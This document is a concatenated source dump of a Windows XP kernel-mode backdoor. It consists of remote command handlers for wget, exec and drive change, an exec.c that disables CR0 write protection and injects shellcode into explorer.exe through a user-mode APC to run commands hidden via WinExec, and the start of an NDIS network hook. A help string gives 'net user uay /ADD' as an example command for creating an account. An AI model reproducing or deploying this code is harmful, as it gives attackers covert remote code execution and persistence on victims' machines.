   "wrong Arguments/n wget URL fullFileNAme/n",
   strlen("wrong Arguments/n wget URL fullFileNAme/n")
   );
  return STATUS_SUCCESS;
}
if(strlen(Argv[1]) + strlen(Argv[2]) >= 98){
  uSend(
   pRecvList->pConnection,
   "Arguments Are too long",
   strlen("Arguments Are too long")
   );
}
result = KWget(Argv[1],Argv[2]);
if(result == FALSE){
  uSend(
   pRecvList->pConnection,
   "os version not support/n",
   strlen("os version not support/n")
   );
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Exec(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN  result;
if(Argc != 2){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n     exec /"net user uay /ADD/"/n",
   strlen("wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n     exec /"net user uay /ADD/"/n")
   );
  return STATUS_SUCCESS;
}
result = KExec(Argv[1]);
if(result == FALSE){
  uSend(
   pRecvList->pConnection,
   "os version not support/n",
   strlen("os version not support/n")
   );
}

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//判断分区是否存在的方法就是看这个分区根目录是否存在
NTSTATUS CommAnd_ChAngeDriver(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
CHAR  tempA[16] = {0};
WCHAR  tempW[16] = {0};

HANDLE    hFile;
NTSTATUS   stAtus;
IO_STATUS_BLOCK  IoStAtusBlock;
UNICODE_STRING  nAme;
OBJECT_ATTRIBUTES oA;

if(Argc != 2){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: chAngedriver d/n",
   strlen("wrong Arguments/n eg: chAngedriver d/n")
   );
  return STATUS_SUCCESS;
}
if(strlen(Argv[1]) > 1){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: chAngedriver d/n",
   strlen("wrong Arguments/n eg: chAngedriver d/n")
   );
  return STATUS_SUCCESS;
}
if((Argv[1][0] > 'a' && Argv[1][0] < 'z') || (Argv[1][0] > 'A' && Argv[1][0] < 'Z')){
  strcpy(tempA,"//??//");
  strcat(tempA,Argv[1]);
  strcat(tempA,"://");
  DbgPrint("%s/n",tempA);
  /// like //??//d:
  Atow(tempA,tempW);
  DbgPrint("%S/n",tempW);
  RtlInitUnicodeString(&nAme,tempW);
  InitializeObjectAttributes(
   &oA,
   &nAme,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
  stAtus = ZwOpenFile(
     &hFile,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );
  DbgPrint("stAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",stAtus,IoStAtusBlock.Status);
  if(stAtus != STATUS_SUCCESS || stAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
   pRecvList->pConnection,
   "driver does not exists/n",
   strlen("driver does not exists/n")
   );
   return STATUS_SUCCESS;
  }
  else{
   RtlZeroMemory(pRecvList->pConnection->m_PAth,512);
   wcscpy(pRecvList->pConnection->m_PAth,&tempW[4]);//去掉前面的"/??/"
   ZwClose(hFile);
   return STATUS_SUCCESS;
  }
}
else{
  uSend(
   pRecvList->pConnection,
   "wrong driver,must be A-Z/n",
   strlen("wrong driver,must be A-Z/n")
   );
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------




_____commAnd.h_____
//
//proto type
//
NTSTATUS
ReferenceCommAnd(
PRECVLIST pRecvList
);

NTSTATUS
CommAnd_Dir(
PRECVLIST pRecvList,
WCHAR* pAth
);

NTSTATUS
CommAnd_Cd(
PRECVLIST pRecvList,
ULONG Argc,CHAR* Argv[]
);

NTSTATUS
CommAnd_Del(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Copy(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Wget(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Exec(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_ChAngeDriver(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);


_____dummyprotocolfunc.c_____

#include <ndis.h>

#define MAX_PACKET_POOL_SIZE 0x0000FFFF
#define MIN_PACKET_POOL_SIZE 0x000000FF

VOID
PtBindAdApter(
OUT PNDIS_STATUS   StAtus,
IN  NDIS_HANDLE    BindContext,
IN  PNDIS_STRING   DeviceNAme,
IN  PVOID     SystemSpecific1,
IN  PVOID     SystemSpecific2
)
{
}


VOID
PtOpenAdApterComplete(
IN  NDIS_HANDLE    ProtocolBindingContext,
IN  NDIS_STATUS    StAtus,
IN  NDIS_STATUS    OpenErrorStAtus
)
{
}


VOID
PtUnbindAdApter(
OUT PNDIS_STATUS  StAtus,
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   UnbindContext
)
{
}


VOID
PtUnloAd(
IN PDRIVER_OBJECT  DriverObject
)
{
}


VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_STATUS   StAtus
)
{

}


VOID
PtResetComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   StAtus
)
{

}


VOID
PtRequestComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_REQUEST  NdisRequest,
IN  NDIS_STATUS   StAtus
)
{

}


VOID
PtStAtus(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   GenerAlStAtus,
IN  PVOID    StAtusBuffer,
IN  UINT    StAtusBufferSize
)
{

}


VOID
PtStAtusComplete(
IN NDIS_HANDLE   ProtocolBindingContext
)
{

}


VOID
PtSendComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  PAcket,
IN  NDIS_STATUS   StAtus
)
{

}    


VOID
PtTrAnsferDAtAComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  PAcket,
IN  NDIS_STATUS   StAtus,
IN  UINT    BytesTrAnsferred
)
{

}


NDIS_STATUS
PtReceive(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   MAcReceiveContext,
IN  PVOID    HeAderBuffer,
IN  UINT    HeAderBufferSize,
IN  PVOID    LookAheAdBuffer,
IN  UINT    LookAheAdBufferSize,
IN  UINT    PAcketSize
)
{

return 0;
}


VOID
PtReceiveComplete(
IN NDIS_HANDLE  ProtocolBindingContext
)
{

}


INT
PtReceivePAcket(
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  PAcket
)
{

return(0);
}




NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}


NDIS_STATUS
PtPnPNetEventReconfigure(
IN ULONG   pAdApt,
IN PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}


NDIS_STATUS
PtPnPNetEventSetPower(
IN ULONG   pAdApt,
IN  PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}




_____dummyprotocolfunc.h_____
#include <ndis.h>
VOID
PtOpenAdApterComplete(
IN  NDIS_HANDLE    ProtocolBindingContext,
IN  NDIS_STATUS    Status,
IN  NDIS_STATUS    OpenErrorStatus
);

VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_STATUS   Status
);

VOID
PtSendComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  Packet,
IN  NDIS_STATUS   Status
);

VOID
PtTrAnsferDAtAComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  Packet,
IN  NDIS_STATUS   Status,
IN  UINT    BytesTransferred
);

VOID
PtResetComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   Status
);

VOID
PtRequestComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_REQUEST  NdisRequest,
IN  NDIS_STATUS   Status
);

NDIS_STATUS
PtReceive(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   MacReceiveContext,
IN  PVOID    HeaderBuffer,
IN  UINT    HeaderBufferSize,
IN  PVOID    LookAheadBuffer,
IN  UINT    LookAheadBufferSize,
IN  UINT    PacketSize
);

VOID
PtReceiveComplete(
IN NDIS_HANDLE  ProtocolBindingContext
);

VOID
PtStAtus(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   GeneralStatus,
IN  PVOID    StatusBuffer,
IN  UINT    StatusBufferSize
);

VOID
PtStAtusComplete(
IN NDIS_HANDLE   ProtocolBindingContext
);

VOID
PtBindAdApter(
OUT PNDIS_STATUS   Status,
IN  NDIS_HANDLE    BindContext,
IN  PNDIS_STRING   DeviceName,
IN  PVOID     SystemSpecific1,
IN  PVOID     SystemSpecific2
);

VOID
PtUnbindAdApter(
OUT PNDIS_STATUS  Status,
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   UnbindContext
);

VOID
PtUnloAd(
IN PDRIVER_OBJECT  DriverObject
);

INT
PtReceivePAcket(
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  Packet
);

NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
);



_____exec.c_____
///
// uty@uaty
///
#include <ntddk.h>

#ifdef DBG
#define u_DbgPrint(_x_)  /
   DbgPrint _x_;
#else
#define u_DbgPrint(_x_)
#endif

//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
    OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
}KAPC_ENVIRONMENT;

typedef struct _KAPC_STATE{
LIST_ENTRY ApcListHead[2];
PEPROCESS Process;
UCHAR  KernelApcInProgress;
UCHAR  KernelApcPending;
UCHAR  UserApcPending;
}KAPC_STATE,*PKAPC_STATE;

//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG   process,
ULONG   threAd,
ULONG   MAppedAddress,
PKEVENT   pEvent,
PCHAR   CmdLine
);

VOID
WorkThreAd_Exec(
IN PVOID pContext
);

VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);

VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);

BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
);

UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
);

UserExec_end(
VOID
);

BOOLEAN
CheckVersion_Exec(
VOID
);

/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);

BOOLEAN
KeInsertQueueApc(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown
);


/* Function prototypes for AttAch process */
NTKERNELAPI VOID
KeStackAttachProcess(
  IN PEPROCESS Process,
  OUT PKAPC_STATE ApcState
  );

NTKERNELAPI VOID
KeUnstackDetachProcess(
IN PKAPC_STATE ApcState
);

//--------------------------------------------------------------------
//AlreAdy defined in wget.c
static ULONG  THREADLISTHEAD_OFFSET;
static ULONG  THREADLISTENTRY_OFFSET;
static ULONG  IMAGEFILENAME_OFFSET;
static ULONG  ACTIVEPROCESSLINKS_OFFSET;
static ULONG  USERAPCPENDING_OFFSET;
static ULONG  TCB_TEB_OFFSET;

BOOLEAN
KExec(
PCHAR CmdLine
)
{
HANDLE    hThreAd = NULL;
NTSTATUS   dwStAtus;
if(strlen(CmdLine) > 99){  //one byte for '/0'
  DbgPrint("CmdLine is too long,At most 100 bytes/n");
  return FALSE;
}

if(FALSE == CheckVersion_Exec()){
  DbgPrint("os version not supported/n");  
  return FALSE;
}

dwStAtus = PsCreateSystemThread(&hThreAd,
         (ACCESS_MASK)0,
         NULL,
         (HANDLE)0,
         NULL,
         WorkThreAd_Exec,
         CmdLine
         );
         
if (!NT_SUCCESS(dwStAtus)){
  DbgPrint("error when creAte the threAd/n");
  return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);

RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d/n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d/n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d/n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d/n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d/n",osversion.wServicePackMinor));

if(  (osversion.dwMajorVersion == 5)
  && (osversion.dwMinorVersion == 1)
  && (osversion.wServicePackMajor == 1)
  //&& (osversion.wServicePackMinor == 0)
  )
{
  THREADLISTHEAD_OFFSET   = 0x190;
  THREADLISTENTRY_OFFSET   = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
  IMAGEFILENAME_OFFSET   = 0x174;
  ACTIVEPROCESSLINKS_OFFSET  = 0x88;
  USERAPCPENDING_OFFSET   = 0x4A;
  TCB_TEB_OFFSET     = 0x20;
  return TRUE;
}
else if(  (osversion.dwMajorVersion == 5)
  && (osversion.dwMinorVersion == 1)
  && (osversion.wServicePackMajor == 2)
  //&& (osversion.wServicePackMinor == 0)
  )
{
  THREADLISTHEAD_OFFSET   = 0x190;
  THREADLISTENTRY_OFFSET   = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
  IMAGEFILENAME_OFFSET   = 0x174;
  ACTIVEPROCESSLINKS_OFFSET  = 0x88;
  USERAPCPENDING_OFFSET   = 0x4A;
  TCB_TEB_OFFSET     = 0x20;
  return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------
//PMDL pMdl = NULL;
VOID
WorkThreAd_Exec(
IN PVOID pContext
)
{
ULONG   process,threAd;
PKEVENT   pEvent = NULL;
PMDL   pMdl = NULL;
PVOID   MAppedAddress = NULL;
ULONG   size;
KAPC_STATE  ApcStAte;
PCHAR   CmdLine;

CmdLine = (PCHAR)pContext;
if (!find_threAd_Exec(&process,&threAd)){
  DbgPrint("cAnnot find the right threAd/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
  DbgPrint("ExAllocatePool(pEvent) fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}

_asm
{
  CLI //dissable interrupt
  MOV EAX, CR0 //move CR0 register into EAX
  AND EAX, NOT 10000H //disable WP bit
  MOV CR0, EAX //write register back
}
memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
_asm
{
  MOV EAX, CR0 //move CR0 register into EAX
  OR EAX, 10000H //enable WP bit
  MOV CR0, EAX //write register back
  STI //enable interrupt
}

size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
u_DbgPrint(("size: %d/n",size));
pMdl = IoAllocateMdl(
    UserExec,
    size,
    FALSE,
    FALSE,
    NULL
    );
if(!pMdl){
  ExFreePool (pEvent);
  DbgPrint("IoAllocateMdl fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
  MmProbeAndLockPages(
   pMdl,
   KernelMode,
   IoWriteAccess
   );
}
__except(EXCEPTION_EXECUTE_HANDLER){
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmProbeAndLockPAges fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x/n",process));
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
  MAppedAddress = MmMapLockedPagesSpecifyCache(
       pMdl,
       UserMode,
       MmCached,
       NULL,
       FALSE,
       NormalPagePriority
       );
}
__except(EXCEPTION_EXECUTE_HANDLER){
  MmUnlockPages(pMdl);
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmMApLockedPagesSpecifyCAche fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x/n",MAppedAddress));
if (!MAppedAddress){
  KeUnstackDetachProcess(&ApcStAte);
  MmUnlockPages(pMdl);
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}

//reuse ,freed in APC->KernelRoutine
CmdLine   = (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));

KeUnstackDetachProcess(&ApcStAte);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);

uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);

KeWaitForSingleObject(
  pEvent,
  Executive,
  KernelMode,
  FALSE,
  NULL
  );
u_DbgPrint(("ok free pEvent pMdl now/n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);


PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG   process,
ULONG   threAd,
ULONG   MAppedAddress,
PKEVENT   pEvent,
PCHAR   CmdLine
)
{
NTSTATUS  dwStAtus = STATUS_SUCCESS;
PKAPC   pkApc;
BOOLEAN   bBool;


*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1;   //////////////////////////////////////////////
//*((unsigned char *)threAd+0x164)=1;  //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
  DbgPrint("error:ExAllocAtePool/n");
  return STATUS_INSUFFICIENT_RESOURCES;
}
KeInitializeApc(
  pkApc,
  (PKTHREAD)threAd,
  OriginalApcEnvironment,
  (PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
  NULL,
  (PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
  UserMode,
  (PVOID)CmdLine
  );
bBool = KeInsertQueueApc(pkApc,pEvent,0,0);  //ticky
if(bBool == FALSE){
  DbgPrint("error:KeInsertQueueApc/n");
}

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT   pEvent;
//PCHAR   CmdLine;

u_DbgPrint(("NormAlContext: 0x%x/n",(ULONG)*NormAlContext));
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
//CmdLine = (PWGETPARA)*NormAlContext;
//*SystemArgument1 = (PVOID)pPArA->szFileNAme;
//*SystemArgument2 = (PVOID)pPArA->ulType;
//*NormAlContext  = (PVOID)pPArA->szURL;
//u_DbgPrint(("SystemArgument1: 0x%x/n",(ULONG)*SystemArgument1));
//u_DbgPrint(("SystemArgument2: 0x%x/n",(ULONG)*SystemArgument2));
//ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox

//u_DbgPrint(("Freeing APC Object/n"));
ExFreePool(Apc);    // free the kernel memory
}
//--------------------------------------------------------------------
BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
)
{
ULONG   eproc;
ULONG   begin_proc;
ULONG   ethreAd;
ULONG   begin_threAd;

PLIST_ENTRY  plist_Active_procs;
PLIST_ENTRY  plist_threAd;

/*
#define IS_SYSTEM_THREAD(thread)                                    /
            (((thread)->Tcb.Teb == NULL) ||                         /
            (IS_SYSTEM_ADDRESS((thread)->Tcb.Teb)))
   */

eproc  = (ULONG)PsGetCurrentProcess();
begin_proc = eproc;
while(1){
  u_DbgPrint(("%s/n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET)));
  if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"explorer.exe")){
   break;
  }
  else{
   plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET);
   eproc = (ULONG) plist_Active_procs->Flink;
   eproc = eproc - ACTIVEPROCESSLINKS_OFFSET;
   if(eproc == begin_proc) return FALSE;
  }
}
plist_threAd = (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET);
ethreAd   = (ULONG)plist_threAd->Flink;
ethreAd   = ethreAd - THREADLISTENTRY_OFFSET;
u_DbgPrint(("threAd: 0x%x/n",ethreAd));

begin_threAd = ethreAd;
while(1){
  //if !IS_SYSTEM_THREAD(threAd)
  

  u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x/n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET)));
  if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0) &&
            (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 )
   ){
   break;
  }
  else{
   plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET);
   ethreAd = (ULONG)plist_threAd->Flink;
   ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
   u_DbgPrint(("ethreAd: 0x%x/n",ethreAd));
   if(ethreAd == begin_threAd) return FALSE;
  }
}
*process = eproc;
*threAd  = ethreAd;
return TRUE;
}
//--------------------------------------------------------------------
__declspec(naked)
UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
)
{
__asm{
  push ebp
  mov  ebp, esp
}
__asm{
  pushad
  sub  esp, 20 //存放得到的函数地址
  jmp  end
            
start:
        pop  edx                    // 指令表起始地址存放在  esp -> edx

  push ebp//u 保存 下面这段程序用到了ebp

        // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
        //
        // 输入:
        // edx => 指令表起始地址 (不需要)
        //
        // 输出:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址

        mov  eax, fs:0x30            // PEB
        mov  eax, [eax + 0x0c]       // PROCESS_MODULE_INFO
        mov  esi, [eax + 0x1c]  // InInitOrder.flink
        lodsd
        mov  eax, [eax+8]

        // ========== 定位GetProcAddress的地址 ==========
        //
        // 输入:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址
        //
        // 输出:
        // ebx => kernel32.dll起始地址
        // eax => GetProcAddress地址
        // edx => 指令表起始地址

        mov  ebx, eax       // 取kernel32.dll的起始地址
        mov  esi, dword ptr [ebx+0x3C]   //u 在e_lfanew中得到pe heAder
        mov  esi, dword ptr [esi+ebx+0x78]  //u export directory rvA
        add     esi, ebx     
        mov  edi, dword ptr [esi+0x20]   //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
        add  edi, ebx
        mov  ecx, dword ptr [esi+0x14]   //u AddressOfFunctions; // RVA from base of image
        xor  ebp, ebp
        push    esi
        
search_GetProcAddress:
        push    edi
  push    ecx
  mov  edi,dword ptr [edi]
  add  edi,ebx        // 把输出函数名表起始地址存人edi
  mov  esi,edx        // 指令表起始地址存入esi
  //mov    ecx,0Eh       // 函数getprocAddress长度为0Eh
  push    0xE
  pop  ecx
  repe    cmps byte ptr [esi],byte ptr [edi]
        je  search_GetProcAddress_ok
        
        pop  ecx
        pop  edi
        add  edi,4  ///
        inc  ebp
        loop search_GetProcAddress

search_GetProcAddress_ok:
        pop  ecx   
        pop  edi
        pop  esi
        mov  ecx, ebp
        mov  eax, dword ptr [esi+24h]   //u AddressOfNameOrdinals; // RVA from base of image
        add  eax, ebx
        shl  ecx, 1
        add  eax, ecx
        xor  ecx, ecx
        mov  cx,  word ptr [eax]
        mov  eax, dword ptr [esi+1Ch]   //AddressOfFunctions; // RVA from base of image
        add  eax, ebx
        shl  ecx, 2
        add  eax, ecx
        mov  eax, dword ptr [eax]
        add  eax, ebx
  

  pop  ebp//u 保存
//--------------------------------------------------------------------

  // ============ 调用函数解决api地址 ============
        //
        // 输入:
        // ebx =>kernel32.dll起始地址
        // eax =>GetProcAddress地址
        // edx =>指令表起始地址
        //
        // 输出:
        // edi =>函数地址base addr
        // esi =>指令表当前位置
        // edx =>GetProcAddress 地址

        mov  edi,edx
        mov  esi,edi
        add  esi,0xE      // 0xE 跳过1个字符串"GetProcAddress"
        
        // ============ 解决kernel32.dll中的函数地址 ============
        mov  edx,eax      // 把GetProcAddress 地址存放在edx    
        push    0x1       // 需要解决的函数地址的个数 硬编码可以节省两个字节
        pop  ecx
  mov  edi, esp     ///////// get some spAce to edi
        call    locator_api_addr
  

  push 0   //SW_HIDE
  push CmdLine
  call dword ptr [edi-4]
  jmp  end_func

//--------------------------------------------------------------------
  // ============ 解决api地址的函数 ============
        //
        // 输入参数:
        // ecx 函数个数
        // edx GetProcAddress 地址
        // ebx 输出函数的dll起始地址
        // esi 函数名表起始地址
        // edi 保存函数地址的起始地址

locator_api_addr:
        
locator_space:
        xor   eax, eax
        lodsb
        test  eax, eax                // 寻找函数名之间的空格x00
        jne   locator_space

        push  ecx
        push  edx

        push  esi                    // 函数名
        push  ebx                    // 输出函数的dll起始地址
        call  edx
        pop   edx
        pop   ecx
        stos  dword ptr [edi]
        loop  locator_space
        xor   eax, eax
        ret
//--------------------------------------------------------------------

        // ==================  结束调用 ====================
end:
        call    start
  __emit 'G'
  __emit 'e'
  __emit 't'
  __emit 'P'
  __emit 'r'
  __emit 'o'
  __emit 'c'
  __emit 'A'
  __emit 'd'
  __emit 'd'
  __emit 'r'
  __emit 'e'
  __emit 's'
  __emit 's'
  __emit 0
  __emit 'W'
  __emit 'i'
  __emit 'n'
  __emit 'E'
  __emit 'x'
  __emit 'e'
  __emit 'c'
  __emit 0

end_func:
  add esp,20
  popad
}
__asm{
  mov esp,ebp
  pop ebp
  ret   //don't forget this :>
}
}
//--------------------------------------------------------------------
__declspec(naked) UserExec_end(VOID)
{
__asm{
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0 //100
}


}
//--------------------------------------------------------------------


_____NdisHook.c_____
///
// uty@uaty
///
#include <ndis.h>
#include "dummyprotocolfunc.h"
#include "structs.h"

typedef
struct _SIGNANDPORT{
unsigned int sign;
unsigned int port;
}SIGNANDPORT,*PSIGNANDPORT;

//not used
/*
typedef
struct _SYNACKPACKET{
ULONG sign;
ULONG BufferAddress;
}SYNACKPACKET,*PSYNACKPACKET;
*/
//
typedef struct _OSVERSIONINFOEXW {
    ULONG dwOSVersionInfoSize;
    ULONG dwMajorVersion;
    ULONG dwMinorVersion;
    ULONG dwBuildNumber;
    ULONG dwPlatformId;
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage
    USHORT wServicePackMajor;
    USHORT wServicePackMinor;
    USHORT wSuiteMask;
    UCHAR wProductType;
    UCHAR wReserved;
} OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW, RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW;

typedef struct _OSVERSIONINFOW {
    ULONG dwOSVersionInfoSize;
    ULONG dwMajorVersion;
    ULONG dwMinorVersion;
    ULONG dwBuildNumber;
    ULONG dwPlatformId;
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage
} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;

//--------------------------------------------------------------------
///mAcros
//#define OURPORT 9929
#define MAX_PATH 260
//--------------------------------------------------------------------
////globAl vAr
HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext = NULL;
NDIS_HANDLE  m_ourPAcketPoolHAndle = NULL;
NDIS_HANDLE  m_ourBufferPoolHAndle = NULL;
//for ProtocolReceive
PNDIS_PACKET m_ourPAcketHAndle  = NULL;
PNDIS_BUFFER m_ourBufferHAndle  = NULL;
